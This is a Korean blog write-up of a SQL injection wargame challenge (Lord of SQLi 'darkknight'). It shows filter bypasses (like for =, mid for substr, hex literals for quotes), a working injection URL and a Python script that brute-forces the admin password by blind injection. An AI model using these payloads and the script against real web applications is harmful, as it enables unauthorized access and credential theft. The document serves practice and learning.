반응형
분석
이번 문제도 브루트포싱인듯 합니다.
no랑 pw를 받습니다.
no에서는 prob 등을 사용할 수 없고
pw에선 따옴표를 사용할 수 없습니다.
또 no에서는 따옴표, =, substr, ascii를 사용할 수 없습니다.
저번처럼 우회하면 될거같은데요..
음..
일단 pw에서는 가망이 안 보이니 admin으로 로그인 하는 것부터 해봅니다.
https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=123&no=1%20or%20id%20like%200x61646d696e
=을 사용할 수 없으니 like를 사용하고
따옴표를 쓸 수가 없어서 그냥 hex값으로 넣어줍니다. 지난 문제를 풀면서 얻은 경험으로 우회했습니다.
그리고 이번에도 pw 길이가 8일 것 같으니 length(pw) like 8을 넣어보면 admin이 나옵니다.
그럼 pw길이도 알았겠다. 바로 length를 지우고 pw를 검사하면서 찾으면 되겠습니다.
풀이
오늘 웹해킹하는 친구한테 LOS 풀고 있다고 했더니 substr을 mid로도 우회할 수 있다는 말을 들어서 mid로 풀어보겠습니다.
(물론 지난 게시물에도 올렸지만)
substr을 대체하는 것은 mid이고
= 을 대체하는 것은 like가 됩니다.
mid도 substr과 똑같이 쓰는군요.
어음 그리고 작은따옴표 못 넣으니까 브루트 포싱으로 넣는 건 hex로 검사해야겠습니다.
import requests
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?'
cookie = {'PHPSESSID' : 'your cookie'}
length = 8
pw = '0x'
for i in range(1,length+1) :
for j in range(0x30, 0x7e+1) :
query = 'pw=123&no=1 or id like 0x61646d696e and mid(pw,1,{}) like {}'.format(i, pw+hex(j)[2:])
print(query, '\tfind:',pw)
req = requests.get(url+query, cookies=cookie)
if('Hello admin' in req.text) :
pw += hex(j)[2:]
break
print('res:',pw);
오잉 생각보다 엄청 빨리 찾네
찾은 값은 0x3042373045413146,
0B70EA1F인데
소문자일거 같으니까 소문자로 바꿔주고 no는 아무거나 줘서 pw를 넣어줍니다.
그러면
성공
반응형